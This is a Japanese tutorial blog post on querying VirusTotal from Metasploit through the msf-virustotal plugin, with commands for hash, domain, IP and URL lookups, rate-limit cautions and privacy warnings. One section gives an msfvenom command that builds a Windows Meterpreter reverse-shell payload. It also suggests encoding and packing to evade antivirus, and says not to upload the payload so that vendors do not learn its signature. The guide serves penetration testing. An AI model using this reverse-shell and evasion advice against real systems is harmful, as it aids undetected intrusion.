脅威インテリジェンスを活用してペネトレーションテストを強化しよう!
はじめに
Metasploit Frameworkは、ペネトレーションテストや脆弱性調査において世界中で広く利用されている強力なオープンソースプラットフォームです。その多機能性の中でも、外部サービスとの連携機能は、テストの効率と精度を向上させる上で重要な役割を果たします。
今回ご紹介するmsf-virustotal
は、Metasploit Frameworkに組み込まれているツールの一つで、オンラインのマルウェアスキャンサービスであるVirusTotalと連携するためのものです。Kali Linux Toolsの一部としてもリストアップされています。
この記事では、msf-virustotal
の基本的な使い方から、設定方法、応用的な活用シナリオ、そして利用上の注意点まで、幅広く解説していきます。
なぜmsf-virustotalを使うのか? 🤔 (メリット)
ペネトレーションテストやセキュリティ調査の過程で、疑わしいファイルやURLに遭遇することは珍しくありません。これらが既知のマルウェアや悪意のあるサイトであるかを確認することは、調査の方向性を決定する上で非常に重要です。msf-virustotal
を利用することには、以下のようなメリットがあります。
- Metasploitコンソールからのシームレスな連携:
msfconsole
を離れることなく、直接VirusTotalのデータベースに問い合わせることができます。これにより、ワークフローが中断されず、効率的に作業を進められます。 - 迅速な脅威判定: ファイルのハッシュ値やURL、IPアドレス、ドメイン名を指定するだけで、瞬時にVirusTotalでのスキャン結果(検出率や各エンジンの判定結果)を確認できます。
- Payloadの事前チェック: 生成したPayloadがアンチウイルス製品に検出される可能性があるかを、ターゲット環境に展開する前に確認できます。これにより、検出を回避するための対策(エンコード、パッキングなど)を講じる判断材料となります。
- インシデントレスポンスでの活用: 侵害調査中に発見された不審なファイルや通信先の情報を素早くVirusTotalでチェックし、脅威の特定や影響範囲の把握に役立てることができます。
- 自動化への組み込み: MetasploitのResource Scriptなどと組み合わせることで、一連の調査プロセスにVirusTotalでのチェックを自動的に組み込むことが可能です。
これらのメリットにより、msf-virustotal
は、セキュリティ専門家にとって価値あるツールとなっています。
準備: VirusTotal APIキーの取得 🔑
msf-virustotal
を使用するには、基本的にVirusTotalのAPIキーが必要です。(古い情報ではデフォルトキーが組み込まれていた時期もあるようですが、現在では自身のキー設定が推奨されます。)
APIキーは、VirusTotalのウェブサイトで無料のアカウントを作成することで取得できます。
- VirusTotal公式サイトにアクセスし、「Join our community」や「Sign up」などのリンクからアカウント登録を行います。
- メールアドレスの確認など、必要な手続きを完了させます。
- ログイン後、ユーザーメニュー(通常は右上のアイコン)から「API key」または「Settings」>「API Key」の項目を探します。
- 表示されているAPIキーをコピーします。これが
msf-virustotal
の設定で使用するキーになります。
⚠️ Public APIキーの制限事項
無料で取得できるPublic APIキーには、利用回数に制限があります。一般的には以下の制限が課せられています(最新の情報はVirusTotalの公式ドキュメントをご確認ください)。
- 1分あたりのリクエスト数: 通常4回まで
- 1日あたりのリクエスト数: 通常500回まで
- 商用利用や、新しいファイルを投稿しないビジネスワークフローでの利用は禁止されています。
大規模な調査や頻繁な利用が必要な場合は、制限の緩い有償のPrivate APIの利用を検討する必要があります。Public APIのレート制限を超えると、APIはエラー(HTTPステータスコード 429など)または空の応答を返す可能性があります。
参考情報:
- VirusTotal API Documentation
- VirusTotal API Key Info
- Wazuh documentation – VirusTotal integration (レート制限に関する記述あり): https://documentation.wazuh.com/current/user-manual/capabilities/malware-detection/virus-total-integration.html
- Tines Blog – Getting Started with VirusTotal API (レート制限に関する記述あり、2021年4月23日時点の情報): https://www.tines.com/blog/virustotal-api-guide
msf-virustotalのインストールと設定 ⚙️
msf-virustotal
はMetasploit Frameworkに含まれるツールであり、通常、Kali Linuxなどのペネトレーションテスト用ディストリビューションにはMetasploitと共にプレインストールされています。
もし個別にMetasploit Frameworkをインストールした場合でも、通常はこのツールが含まれています。
# Kali LinuxなどでMetasploitがインストールされていれば、
# /usr/share/metasploit-framework/tools/exploits/msf-virustotal
# のようなパスに存在することがあります(パスは環境により異なります)
Metasploit Frameworkへのロード (プラグインとして利用する場合)
msf-virustotal
はスタンドアロンのスクリプトとして実行することもできますが、より便利なのはmsfconsole
内でプラグインとしてロードし、コマンドとして利用する方法です。
msfconsole
を起動したら、以下のコマンドでVirusTotalプラグインをロードします。
msf6 > load virustotal
プラグインが正常にロードされると、virustotal_lookup
といったコマンドが利用可能になります。
APIキーの設定
取得したVirusTotal APIキーをMetasploitに設定する必要があります。これにはsetg
コマンドを使用します。setg
コマンドで設定した値は、Metasploit全体でグローバル変数として永続的に保存され、次回起動時も有効になります。
msf6 > setg VirusTotalApiKey YOUR_API_KEY_HERE
VirusTotalApiKey => YOUR_API_KEY_HERE
YOUR_API_KEY_HERE
の部分を、実際に取得したAPIキーに置き換えてください。
一度設定すれば、以降はmsfconsole
を再起動してもAPIキーは保持されます。設定された値は~/.msf4/config
(または環境によっては~/.msf6/config
など)ファイルに保存されます。
設定を確認するには、引数なしでsetg
コマンドを実行するか、特定の変数を指定します。
msf6 > setg VirusTotalApiKey
VirusTotalApiKey => YOUR_API_KEY_HERE
これで、msf-virustotal
(またはVirusTotalプラグイン) を使用する準備が整いました。😊
古い情報 (例えば2014年のRapid7ブログ) では、スタンドアロンスクリプト (`tools/virustotal.rb`) やPostモジュール (`check_malware.rb`) について言及されていますが、現在の主流は `msfconsole` 内でのプラグイン利用 (`load virustotal`) と `virustotal_lookup` コマンドのようです。
参考: Rapid7 Blog – Metasploit Now Supports Malware Analysis via VirusTotal (2014年1月11日): https://www.rapid7.com/blog/post/2014/01/11/metasploit-now-supports-malware-analysis-via-virustotal/ (古い情報が含まれる可能性があります)
msf-virustotalの基本的な使い方 🔍
VirusTotalプラグインをロードし、APIキーを設定したら、virustotal_lookup
コマンドを使って様々な情報をVirusTotalで検索できます。
コマンドのヘルプ表示
まず、コマンドの基本的な使い方やオプションを確認しましょう。
msf6 > help virustotal_lookup
これにより、利用可能なオプションや引数の説明が表示されます。
ファイルハッシュの検索
特定のファイルのハッシュ値(MD5, SHA1, SHA256)がVirusTotalに登録されているか、登録されている場合はその評価を確認できます。
# SHA256ハッシュ値を指定して検索
msf6 > virustotal_lookup -h YOUR_FILE_HASH_HERE
# 例 (架空のハッシュ値)
msf6 > virustotal_lookup -h e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
-h
オプションに続けてハッシュ値を指定します。結果として、検出したエンジンの数、総エンジン数、スキャン日時、パーマリンクなどが表示されます。
💡 ハッシュ値とは?
ファイルの内容から一意に計算される固定長の文字列です。同じファイルであれば常に同じハッシュ値が生成されますが、少しでも内容が異なると全く違うハッシュ値になります。これにより、ファイルを直接送信せずに、そのファイルが既知のものかどうかを識別できます。
参考: SysMin – virustotalの使い方 (ハッシュ値の検索について言及): https://sysmin.net/how-to-use-virustotal/
ドメインの検索
特定のドメイン名が悪意のある活動に関連しているかを確認します。
# ドメイン名を指定して検索
msf6 > virustotal_lookup -d example.com
-d
オプションに続けてドメイン名を指定します。そのドメインに関連するURLの検出状況や、カテゴリ情報などが表示されることがあります。
IPアドレスの検索
特定のIPアドレスがマルウェアの配布元やC&Cサーバーとして認識されているかなどを確認します。
# IPアドレスを指定して検索
msf6 > virustotal_lookup -i 8.8.8.8
-i
オプションに続けてIPアドレスを指定します。そのIPアドレスでホストされているドメインの情報や、関連するファイルの検出状況などが表示されることがあります。
URLの検索
特定のURLがフィッシングサイトやマルウェア配布サイトとして報告されているかを確認します。
# URLを指定して検索
msf6 > virustotal_lookup -u https://example.com/suspicious-page
-u
オプションに続けてURLを指定します。URLのスキャン結果、検出したエンジンの数などが表示されます。
これらの基本的なコマンドを使うことで、Metasploitの操作中に遭遇した疑わしい要素を迅速に評価することができます。
応用的な使い方とシナリオ 🚀
virustotal_lookup
コマンドは、他のMetasploitの機能と組み合わせることで、より高度な活用が可能です。
ExploitモジュールやPayload生成との連携
msfvenom
などで生成したPayloadファイルが、アンチウイルス製品にどの程度検出されるかを事前に確認できます。
msfvenom
でPayloadをファイル(例:payload.exe
)として生成します。# 例: Windows MeterpreterリバースTCP Payloadを生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f exe -o payload.exe
- 生成したファイルのハッシュ値を計算します(例:
sha256sum
コマンド)。sha256sum payload.exe
- 計算したハッシュ値を
virustotal_lookup
で検索します。msf6 > virustotal_lookup -h HASH_OF_PAYLOAD_EXE
もし検出率が高い場合、エンコーディング(例: -e x86/shikata_ga_nai
)、イテレーション(-i
オプション)、パッキング、他のPayload形式の利用などを検討する必要があるかもしれません。
注意: PayloadをVirusTotalに直接アップロードすることは避けるべきです。アップロードされたファイルはVirusTotalの有償サービス契約者によってダウンロード可能になる可能性があり、Payloadのシグネチャがアンチウイルスベンダーに分析され、検出されやすくなるリスクがあります。ハッシュ値での検索に留めるのが安全です。
参考:
- Raxis Blog – Cool Tools Series: MSFvenom (AV回避について言及): https://raxis.com/blog/cool-tools-series-msfvenom
自動化スクリプトへの組み込み (Resource Script)
MetasploitのResource Script (.rcファイル) を使うと、一連のコマンドを自動実行できます。この中にvirustotal_lookup
を組み込むことで、例えば特定のホストに対するスキャン結果から得られたIPアドレスやドメインを自動的にVirusTotalでチェックする、といったワークフローを構築できます。
Resource Script (例: vt_check.rc
)
<%
# このスクリプトは例であり、実際の動作には調整が必要です
# 事前に target_ip 変数などが設定されている前提
%>
load virustotal
# db_nmapなどで得られたIPやドメインをチェックする処理 (要実装)
# ... 調査対象のIPアドレスやドメインを取得 ...
# 例として固定のIPをチェック
virustotal_lookup -i 192.0.2.1
virustotal_lookup -d suspicious-domain.com
# ... 他の処理 ...
このスクリプトをmsfconsole -r vt_check.rc
のように実行します。
調査結果の解釈 (VirusTotalレポートの見方)
virustotal_lookup
が出力する結果は簡略化されていますが、通常は以下のような情報が含まれます。
- 検出率 (Detection Ratio): e.g.,
5 / 70 engines detected this file.
のように、いくつのエンジンが悪意があると判定したかを示します。この数値が高いほど、悪意のある可能性が高いと判断できます。ただし、0であっても未知の脅威である可能性は否定できません。 - スキャン日時 (Scan Date): いつVirusTotalで最後に分析されたかを示します。古い情報の場合、現在の状況を反映していない可能性があります。
- パーマリンク (Permalink): VirusTotal上の詳細なレポートページへのリンクです。より詳しい情報(各エンジンの具体的な検出名、ファイルの挙動分析結果、コミュニティのコメントなど)を確認したい場合は、このリンクをブラウザで開きます。
パーマリンク先のVirusTotalウェブサイトでは、以下のようなタブで詳細情報が提供されることが一般的です(内容は分析対象の種類によって異なります)。
タブ名 (例) | 内容 |
---|---|
Detection | 各アンチウイルスエンジンによる検出結果と、検出された場合のマルウェア名。 |
Details | ファイルの基本的な情報(ハッシュ値、ファイルサイズ、ファイルタイプ、初回/最終提出日時、ファイル名など)、PEヘッダ情報、証明書情報など。 |
Relations | ファイルが通信するドメインやIPアドレス、埋め込まれているURL、他の関連ファイルなど、他の要素との関係性。 |
Behavior (サンドボックス実行時) | サンドボックス環境でファイルを実行した際の挙動分析結果。プロセスツリー、ファイルシステムへの変更、レジストリ操作、ネットワーク通信などを確認できます。 |
Community | VirusTotalコミュニティのメンバーによるコメントや評価。 |
これらの情報を総合的に判断することで、調査対象のリスクレベルをより正確に評価できます。
注意点と制限事項 ⚠️
msf-virustotal
(およびVirusTotalサービス自体) を利用する際には、いくつかの重要な注意点と制限事項があります。
- APIキーのレート制限: 前述の通り、無料のPublic APIキーには1分あたり・1日あたりのリクエスト数に制限があります。この制限を超えると、一時的にAPIを利用できなくなります。自動化スクリプトなどで大量のリクエストを行う場合は特に注意が必要です。
- プライバシーに関する考慮事項 (情報漏洩リスク):
- ファイルのアップロードは非推奨: VirusTotalにファイルを直接アップロードすると、そのファイルはVirusTotalのデータベースに保存され、有償サービス契約者などがアクセス・ダウンロードできる可能性があります。機密情報や個人情報、独自開発のツール、テスト用のPayloadなど、公開されては困るファイルは絶対にアップロードしないでください。代わりに、ファイルのハッシュ値を計算し、ハッシュ値で検索するようにしてください。
- 実際に、過去にはVirusTotalへのファイルアップロードによる情報漏洩事例が報告されています(例: 日本国内の大学における個人情報流出)。
- 誤検知 (False Positive) の可能性: 多くのエンジンでスキャンしますが、正規のファイルが誤ってマルウェアとして検出される可能性もゼロではありません。特に自作ツールなどがヒューリスティック分析などで疑わしいと判定されることがあります。検出率だけでなく、どのエンジンがどのように検出しているか、他の情報(挙動分析など)も考慮して総合的に判断する必要があります。
- 未検出 (False Negative) の可能性: VirusTotalで検出されなかったからといって、それが完全に安全であるとは限りません。未知のマルウェアや巧妙に細工されたファイルは検出をすり抜ける可能性があります。
- スキャン結果の鮮度: ハッシュ検索の場合、表示されるのは過去に誰かがそのファイルをアップロードしてスキャンされた時点での結果です。最新の定義ファイルでの結果とは限りません。必要であれば再スキャンをリクエストすることも可能ですが(VirusTotalウェブサイト上)、これもAPIリクエスト数を消費します。
まとめ
msf-virustotal
(およびVirusTotalプラグイン) は、Metasploit Frameworkの強力な機能を補完し、ペネトレーションテストやセキュリティ調査の効率と精度を高めるための便利なツールです。msfconsole
内からシームレスにVirusTotalの脅威インテリジェンスにアクセスできることで、疑わしいファイル、URL、IPアドレス、ドメインを迅速に評価できます。
APIキーの取得と設定、基本的なvirustotal_lookup
コマンドの使い方をマスターすれば、日々の業務にすぐに役立てることができるでしょう。さらに、Payloadの事前チェックや自動化スクリプトへの組み込みといった応用的な活用も可能です。
ただし、APIのレート制限や、特にファイルのアップロードに伴う情報漏洩リスクといった注意点を十分に理解し、責任ある利用を心がけることが重要です。
MetasploitとVirusTotalの連携を使いこなし、より効果的なセキュリティ活動を行いましょう!🚀🛡️
参考情報 🔗
本記事を作成するにあたり参考にした情報源です。
- Kali Linux Tools – metasploit-framework: https://www.kali.org/tools/metasploit-framework/ (msf-virustotalがツール一覧に含まれている)
- VirusTotal 公式サイト: https://www.virustotal.com/
- VirusTotal API Documentation: https://developers.virustotal.com/reference/overview
- Rapid7 Blog – Metasploit Now Supports Malware Analysis via VirusTotal (2014年1月11日): https://www.rapid7.com/blog/post/2014/01/11/metasploit-now-supports-malware-analysis-via-virustotal/ (古い情報も含むが、初期の連携について参考になる)
- Wazuh documentation – VirusTotal integration: https://documentation.wazuh.com/current/user-manual/capabilities/malware-detection/virus-total-integration.html (APIレート制限に関する情報)
- Tines Blog – Getting Started with VirusTotal API (2021年4月23日): https://www.tines.com/blog/virustotal-api-guide (APIレート制限に関する情報)
- SysMin – virustotalの使い方: https://sysmin.net/how-to-use-virustotal/ (VirusTotalの基本的な使い方)
コメント